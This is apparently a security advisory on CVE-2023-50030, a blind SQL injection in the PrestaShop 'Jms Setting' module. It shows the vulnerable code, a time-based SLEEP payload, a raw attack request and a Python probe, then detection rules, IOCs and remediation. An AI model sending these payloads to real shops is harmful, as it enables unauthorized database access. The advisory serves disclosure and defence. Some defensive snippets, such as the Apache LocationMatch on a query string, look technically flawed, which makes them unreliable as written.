CVE-2023-50030

Executive Summary

CVE-2023-50030 is a critical SQL injection vulnerability in the "Jms Setting" (jmssetting) module by Joommasters for PrestaShop. This flaw allows an unauthenticated attacker to execute arbitrary SQL queries via the JmsSetting::getSecondImgs() method. The vulnerability is trivially exploitable through a crafted HTTP request, enabling blind SQL injection attacks. As of this report, no official patch has been released, leaving all versions up to and including 1.1.0 exposed. The CVSS score is 0.0 due to incomplete NVD data, but based on the technical details, the actual severity is critical.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the Joommasters marketplace. Since PrestaShop modules are not centrally managed like NPM or PyPI, the risk is elevated due to the lack of automated vulnerability scanning and patch management. Merchants using this module must manually verify and apply any updates.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability characteristics yields the following:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Adjusted CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Adjusted Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the JmsSetting::getSecondImgs() method within the jmssetting module. This method constructs an SQL query using unsanitized user input, likely from GET or POST parameters. The lack of parameterized queries or proper escaping allows an attacker to inject arbitrary SQL commands.

Vulnerable Code Path:

1. The module exposes a public method getSecondImgs() that accepts input (e.g., via Tools::getValue()).
2. This input is concatenated directly into an SQL query string.
3. The query is executed via PrestaShop's Db::getInstance()->executeS() or similar.
4. An attacker can send a crafted HTTP request to the module's controller, injecting SQL payloads.

Blind SQL Injection: The attacker may not see direct output but can infer data through boolean-based or time-based techniques (e.g., SLEEP()).

Vulnerable vs. Patched Code

Vulnerable Code (jmssetting <= 1.1.0):

public function getSecondImgs($id_product)
{
    $sql = 'SELECT * FROM `'._DB_PREFIX_.'jms_setting` WHERE `id_product` = '.$id_product;
    return Db::getInstance()->executeS($sql);
}

Patched Code (Hypothetical):

public function getSecondImgs($id_product)
{
    $sql = 'SELECT * FROM `'._DB_PREFIX_.'jms_setting` WHERE `id_product` = '.(int)$id_product;
    return Db::getInstance()->executeS($sql);
}

The fix involves casting the input to an integer, preventing injection. Alternatively, using prepared statements with Db::getInstance()->prepare() is recommended.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• PrestaShop instance with jmssetting module <= 1.1.0.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /index.php?fc=module&module=jmssetting&controller=ajax&action=getSecondImgs&id_product=1).
2. Inject SQL payload via the id_product parameter.
3. Use blind SQL injection techniques to extract data.

Example Payload (Time-based):

1 AND SLEEP(5)

Request:

GET /index.php?fc=module&module=jmssetting&controller=ajax&action=getSecondImgs&id_product=1%20AND%20SLEEP(5) HTTP/1.1
Host: target.com

Automated Exploit (Python):

import requests
import time

target = "http://target.com/index.php?fc=module&module=jmssetting&controller=ajax&action=getSecondImgs&id_product="
payload = "1 AND SLEEP(5)"

start = time.time()
r = requests.get(target + payload)
end = time.time()

if end - start > 5:
    print("Vulnerable to time-based SQL injection")

Blue Team (Defensive)

Detection:

• Monitor for unusual id_product parameter values containing SQL keywords (AND, OR, SLEEP, UNION).
• Look for HTTP requests to /modules/jmssetting/ with suspicious query strings.
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake PrestaShop instance with the vulnerable module to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php?fc=module&module=jmssetting&controller=ajax&action=getSecondImgs with abnormal id_product values.
  • SQL keywords in GET parameters (e.g., SLEEP, UNION, SELECT).
• File IOCs:
  • Modified database entries in ps_jms_setting table.
  • Unusual log entries in PrestaShop logs (/var/log/prestashop.log).
• Behavioral IOCs:
  • Unexpected database queries from the web server user.
  • Increased response times indicating time-based injection.

Detection Engineering

YARA Rule

rule CVE_2023_50030_SQLi {
    meta:
        description = "Detects SQL injection attempts against Jms Setting module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-50030"
    strings:
        $suspicious_param = /id_product\s*=\s*[^&]*\b(AND|OR|SLEEP|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC)\b/i
        $module_path = "/modules/jmssetting/"
    condition:
        $module_path and $suspicious_param
}

Sigma Rule

title: CVE-2023-50030 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting Jms Setting module
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "/modules/jmssetting/"
            - "id_product="
        cs-uri-query|re: 
            - "(AND|OR|SLEEP|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC)"
    condition: selection
falsepositives:
    - Legitimate use of product IDs with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-50030 SQL Injection Attempt"; flow:to_server; content:"/modules/jmssetting/"; http_uri; content:"id_product="; http_uri; pcre:"/(AND|OR|SLEEP|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the module if not essential: Navigate to PrestaShop back office → Modules → Module Manager → Search "Jms Setting" → Disable.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Restrict access to the module's controller via .htaccess or Nginx config:

   <LocationMatch "/index\.php\?fc=module&module=jmssetting">
       Require ip 127.0.0.1
   </LocationMatch>
   

Long-term Fix:

• Contact Joommasters for an official patch.
• If source code is available, manually fix the vulnerable method by casting input to integer or using prepared statements.
• Monitor for module updates and apply immediately.

Workaround Code (Override): Create an override file in /override/modules/jmssetting/jmssetting.php:

class JmsSettingOverride extends JmsSetting
{
    public function getSecondImgs($id_product)
    {
        $id_product = (int)$id_product;
        return parent::getSecondImgs($id_product);
    }
}

Valters IT
Securing Digital Ecosystems